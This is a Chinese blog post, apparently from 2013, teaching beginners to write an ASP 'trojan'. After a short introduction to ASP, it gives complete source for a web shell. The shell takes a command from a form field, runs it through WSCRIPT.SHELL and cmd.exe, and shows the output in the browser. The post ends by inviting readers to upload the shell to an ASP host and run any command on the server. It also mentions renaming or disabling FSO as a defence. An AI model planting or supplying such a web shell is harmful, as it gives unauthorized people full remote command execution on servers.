2013年5月31日星期五

简单ASP木马自己写

简单ASP木马自己写

内容提要:本文面向没有接触过ASP或者刚刚接触ASP的朋友。文章将从介绍ASP入手,然后后给出一个简单木马例程并作必要解释和分析。
  关键字:ASP 木马 FSO组件                 第0部分   写在前面的话
  如果你对ASP有一定了解,那么可以直接去阅读本文的第2部分,因为第1部分对你没有什么用处。如果你不知道什么是ASP也没有关系,第1部分的内容对你也许有所帮助,但是,你还需要通过阅读其他资料来对ASP进一步了解才有利于理解这个简单的木马程序。

             第1部分 知识预备:什么是ASP
  关于什么是ASP,我想不管在介绍ASP的书上还是网上,都会首先介绍这一点。这里我尽量按照我的理解来说明什么是ASP。我不敢保证十分准确,但却能保证易于你的理解。 
   ASP是Active Sever Pages(活动服务器页面)的缩写,从字面上的理解可以得知,ASP是运行在服务器端的,而在客户端(通过浏览器)看到的只是由ASP程序在服务器端运 行之后产生的HTML页面。这样做至少有两个好处,一是动态页面的产生,二是使得服务器端的代码在客户端不可见。
  这里我愿意用一个不太恰当的 比喻来形容ASP的工作方式。我们请求服务器上的一个ASP文件,叫好比对一个黑漆漆的房子里面的乐队说:“给我演奏XXX",于是乐队(服务器)在这个 漆黑的房子照着乐谱(ASP文件)开始演奏起来;我们听到了想听的音乐(传送过来的HTML文件),却并不知道黑房子里面的人究竟是怎么演奏的,乐谱究竟 是用钢笔写的还是铅笔写的,甚至是打印的。
  有一件非常糟糕的事情是,ASP的代码和HTML页面是混在一起的(这在ASP.NET中得到改善)。比如在一个HTML页面里面,只要你在任意位置输入<%%>,你就可以在两个%之间输入ASP代码了。 
  你可以用VBSript或者JScript作为脚本语言,而VBScrit是ASP的缺省脚本语言.

   
             第2部分 实战:代码以及分析
  首先给出这个简单ASP木马的完整源代码。
    <%
     Dim oScript
     Dim oScriptNet
     Dim oFileSys, oFile
     Dim szCMD, szTempFile
     On Error Resume Next
     Set oScript = Server.CreateObject("WSCRIPT.SHELL")
     Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
     szCMD = Request.Form(".CMD") '获得要执行的命令
     If (szCMD <> "") Then '如果命令不为空
      szTempFile = "c:\" & oFileSys.GetTempName()
      Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) '把命令的执行结果存放在临时文件里面
      Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
     End If
     %>
    <HTML>
     <BODY>
      <FORM action="cmd.asp" method="POST">
      <input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run"></FORM><PRE>
     <%
      If (IsObject(oFile)) Then '如果文件存在
       On Error Resume Next
       Response.Write Server.HTMLEncode(oFile.ReadAll)  '把临时文件内容写到客户端
       oFile.Close
       Call oFileSys.DeleteFile(szTemdpFile, True) '删除临时文件
      End If
     %>
     </BODY>
    </HTML>
   这应该是一个最简单的ASP木马程序了,程序的实质就是从服务器端调用cmd.exe来执行客户端发送的字符串,就是这么简单。结合代码中给出的简要注 释,掌握这段代码对你来说应该没有什么困难。(顺便提一下,如果使用VBScrit作为脚本,你可以像在VB那样用'来引导一串注释直到行尾。)但是有两 行代码我还是不得不说:
     Set oScript = Server.CreateObject("WSCRIPT.SHELL")
   Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
  正是这两行代码创建的这两个对象构成了整个木马程序的核心,因此很有必要对这两个对象作进一步了解。
  第一行代码实际上创建了一个WSH的内置shell对象。正式利用这个对象调用cmd.exe然后来执行客户端发过去的命令。
   第二行代码创建了一个FSO模型的FileSystemObject,也就是文件系统对象。而FSO模型位于由微软提供的脚本运行时间DLL文件中,它 是scrrun.dll。你可以在任何应用程序中引用这个DLL文件,比如Access、Word。就是说,并非仅仅限制在ASP中应用它。建立一个 FSO的文件系统对象之后,就可以方便的使用对象.方法和对象.属性了。上面代码中用到了FSO对象的四个方法:GetTempName()、 OpenTextFile()、Close()和DeleteFile(),我想你可以很容易从字面理解这三个方法的用处。
  对于网站服务器来说,FSO就是一把双刃剑,一方面使用它可以很方便实现一些功能,另一方面,正像本文的木马所演示的那样,也留下了安全隐患。 对此,一般有两种对策,注销和改名。注销比较极端,大家都不能用,而改名一般能取得比较好的效果。
  
 
第3部分  写在后面的话 
  有兴趣的话,可以把这个简单的asp木马上传到一个支持ASP的空间试一下,成功的话,你可以用DOS命令对服务器执行任何操作。其实,很多VBS病毒和一些恶意网页的代码也并不复杂,都是利用了FSO对象和WSH的其他内置对象而已。

没有评论:

发表评论